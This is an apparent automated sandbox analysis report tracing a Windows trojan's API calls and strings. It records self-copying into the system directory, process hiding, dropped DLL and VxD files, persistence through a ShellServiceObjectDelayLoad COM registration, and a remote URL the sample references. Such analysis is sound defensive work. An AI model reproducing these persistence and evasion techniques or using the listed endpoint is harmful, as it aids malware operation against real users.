Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

http://tat-neftbank.ru/kkq.php, xrefs: 00406840
ofs_kk, xrefs: 0040683B

Memory Dump Source

Source File: 00000004.00000002.1982942456.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1982926003.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982959568.000000000042A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982981112.000000000042E000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1982997408.000000000042F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983015064.0000000000436000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1983031337.0000000000438000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Oglabl32.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize_sleep
String ID: http://tat-neftbank.ru/kkq.php$ofs_kk
API String ID: 4235044784-1201080362
Opcode ID: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction ID: fffe33e14b07b0123592d698d33e8a34a507cc30d1f0c5c96ad3af2b43ec03e4
Opcode Fuzzy Hash: 616e9dee88e1a58cfa8eb2cd68ddd21616f6de5f00dd5623ea3079b7e2cd762d
Instruction Fuzzy Hash: ADD05E72B453043B9200757E9D07929F5CE4AA0AA83B9446BBA01F73F1E8F89E1151AB

Analysis Process: Olijjb32.exePID: 6744, Parent PID: 6692COMMON

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	542
Total number of Limit Nodes:	2

Executed Functions

Function 00406C29 Relevance: 82.5, APIs: 36, Strings: 11, Instructions: 264
windowthreadregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32(001F0001,00000000,QueenKarton_12), ref: 00406C50
CloseHandle.KERNEL32(00000000,00000000), ref: 00406C60
exit.CRTDLL(00000001,00000000,00000000), ref: 00406C67
GetVersionExA.KERNEL32(00418D50,00000000), ref: 00406C8A
GetSystemDirectoryA.KERNEL32(00429080,000000FF), ref: 00406C99
GetTickCount.KERNEL32 ref: 00406C9E
srand.CRTDLL(00000000,00418D50,00000000), ref: 00406CA4
GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00418D50,00000000), ref: 00406CBE
rand.CRTDLL(00418D50,00000000), ref: 00406D03
rand.CRTDLL(00418D50,00000000), ref: 00406D2F
rand.CRTDLL(00418D50,00000000), ref: 00406D70
sprintf.CRTDLL(?,%s\%s.exe,00429080,?,00418D50,00000000), ref: 00406DA8
CopyFileA.KERNEL32(?,?,00000000), ref: 00406DBD
WinExec.KERNEL32(?,00000000), ref: 00406DEC
ExitProcess.KERNEL32(00000001,?,?,?,?,?,?,00418D50,00000000), ref: 00406E02
sprintf.CRTDLL(00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E1B
sprintf.CRTDLL(00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E3A
sprintf.CRTDLL(00408020,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406E53
LoadCursorA.USER32(00000000,00007F00), ref: 00406E85
LoadIconA.USER32(00000000,00007F03), ref: 00406E9A
GetStockObject.GDI32(00000000), ref: 00406EA8
RegisterClassA.USER32(00000003), ref: 00406EC9
CreateWindowExA.USER32(00000000,QueenKarton,QueenKarton,00CA0000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00408020), ref: 00406EF3
CreateMutexA.KERNEL32(00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll,00428F60,%s\%s,00429080,kkq32.vxd,00418E30,%s\%s,00429080,kkq32.dll,00418D50,00000000), ref: 00406F12

Part of subcall function 00402E06: GetVersion.KERNEL32 ref: 00402E22
Part of subcall function 00402E06: GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
Part of subcall function 00402E06: CloseHandle.KERNEL32(?), ref: 00403065

GetVersion.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F21
GetModuleHandleA.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll,00418D50,00000000), ref: 00406F32
GetProcAddress.KERNEL32(00000000,RegisterServiceProcess), ref: 00406F3D
GetCurrentProcessId.KERNEL32(00000000,RegisterServiceProcess,kernel32.dll,?,?,?,?,?,?,?,?,?,?,?,00429080,kkq32.dll), ref: 00406F57
CreateThread.KERNEL32(00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F84
CloseHandle.KERNEL32(00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406F8A
CreateThread.KERNEL32(00000000,00000000,004068B0,00000000,00000000,?), ref: 00406FA3
CloseHandle.KERNEL32(00000000,00000000,00000000,004068B0,00000000,00000000,?,00000000,00000000,00000000,0040682B,00000000,00000000,?), ref: 00406FA9
SetTimer.USER32(00000001,000001F4,00000000,00000000), ref: 00406FBD
TranslateMessage.USER32(?), ref: 00406FC8
DispatchMessageA.USER32(?), ref: 00406FD7
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00406FE6

Strings

2, xrefs: 00406D83
dnkkq.dll, xrefs: 00406E3F
kkq32.vxd, xrefs: 00406E26
%s\%s, xrefs: 00406E11, 00406E30, 00406E49
QueenKarton, xrefs: 00406E64, 00406EE7, 00406EEC
kernel32.dll, xrefs: 00406F2D
%s\%s.exe, xrefs: 00406D9C
3, xrefs: 00406D7C
kkq32.dll, xrefs: 00406E07
QueenKarton_12, xrefs: 00406C44, 00406F09
RegisterServiceProcess, xrefs: 00406F37

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: Handle$CloseCreatesprintf$MessageVersionrand$FileLoadModuleMutexProcessThread$AddressClassCopyCountCurrentCursorDirectoryDispatchExecExitGlobalIconMemoryNameObjectOpenProcRegisterStatusStockSystemTickTimerTranslateWindowexitsrand
String ID: %s\%s$%s\%s.exe$2$3$QueenKarton$QueenKarton_12$RegisterServiceProcess$dnkkq.dll$kernel32.dll$kkq32.dll$kkq32.vxd
API String ID: 607501245-2841515530
Opcode ID: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction ID: b1e00ee85c63859ee3f052cf9651ba5d7fc827d99c5bd6e2bd8f21b679fb6b98
Opcode Fuzzy Hash: 47dc35882da9e6d4dfe293ecc6690f52e81bb2b6ce91e07ac91a2883a2b15265
Instruction Fuzzy Hash: E691C671F883286ADB10A7759C46FDD76A85B44704F5000BBB508FB2C2D6FC6D448BAE

Function 00403619 Relevance: 7.6, APIs: 5, Instructions: 58
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403642
GetFileSize.KERNEL32(00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72,10624DD3), ref: 00403667
LocalAlloc.KERNEL32(00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000,00000001,297D5A2B,10624DD3,00000001,69D4CE72), ref: 00403674
ReadFile.KERNEL32(00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080,00000000), ref: 0040369A
CloseHandle.KERNEL32(00000000,00000000,10624DD3,00000000,00000000,00000000,00000040,-00000010,00000000,00000000,69D4CE72,80000000,?,00000000,?,00000080), ref: 004036A6

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: File$AllocCloseCreateHandleLocalReadSize
String ID:
API String ID: 2632956699-0
Opcode ID: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction ID: fb77f57afc793f1fdbd914af7197191687e2a95eac13cef646675694312e246c
Opcode Fuzzy Hash: dd1227ad1f3452ee8fc35f5791aff0d34791abb0994a93554c87423cd4fa6a6f
Instruction Fuzzy Hash: 14116531A00208BAEB216E65CC06F9DB7A8DB00765F108576FA10BA2D1D67DAF018B5D

Function 00403F68 Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FA7
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00403FD4
rand.CRTDLL(00000001,69D4CE72,10624DD3), ref: 00404010
sprintf.CRTDLL(?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404048
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404063
sprintf.CRTDLL(Oeanchcn,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll,00429080,?,00000001,69D4CE72,10624DD3), ref: 00404086
WriteFile.KERNEL32(?,0042AA84,00001A01,?,00000000,Oeanchcn,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?,%s\%s.dll), ref: 004040A4
CloseHandle.KERNEL32(?,?,0042AA84,00001A01,?,00000000,Oeanchcn,00429080,?,40000000,00000000,00000000,00000002,00000000,00000000,?), ref: 004040BB
sprintf.CRTDLL(?,CLSID\%s\InProcServer32,{79FEACFF-FFCE-815E-A900-316290B5B738},?,?,0042AA84,00001A01,?,00000000,Oeanchcn,00429080,?,40000000,00000000,00000000,00000002), ref: 004040D3

Strings

3, xrefs: 0040401C
ThreadingModel, xrefs: 0040410F
2, xrefs: 00404023
CLSID\%s\InProcServer32, xrefs: 004040C7
%s\%s.dll, xrefs: 0040403C
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad, xrefs: 0040412B
Apartment, xrefs: 0040410A
Oeanchcn, xrefs: 00404080, 00404085
{79FEACFF-FFCE-815E-A900-316290B5B738}, xrefs: 00403F92, 004040C6, 00404125
Web Event Logger, xrefs: 00404126

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: randsprintf$File$CloseCreateHandleWrite
String ID: %s\%s.dll$2$3$Apartment$CLSID\%s\InProcServer32$Oeanchcn$Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad$ThreadingModel$Web Event Logger${79FEACFF-FFCE-815E-A900-316290B5B738}
API String ID: 4269242784-2442642010
Opcode ID: 5b9226bc97ce31b3811795df607ed7bbed4fe58e3f2db61338cee063268ccacc
Instruction ID: 8034dccab87c86b1e0d8b3b5755954c703eafec793446a3a0ea57bc4b4fc6a7a
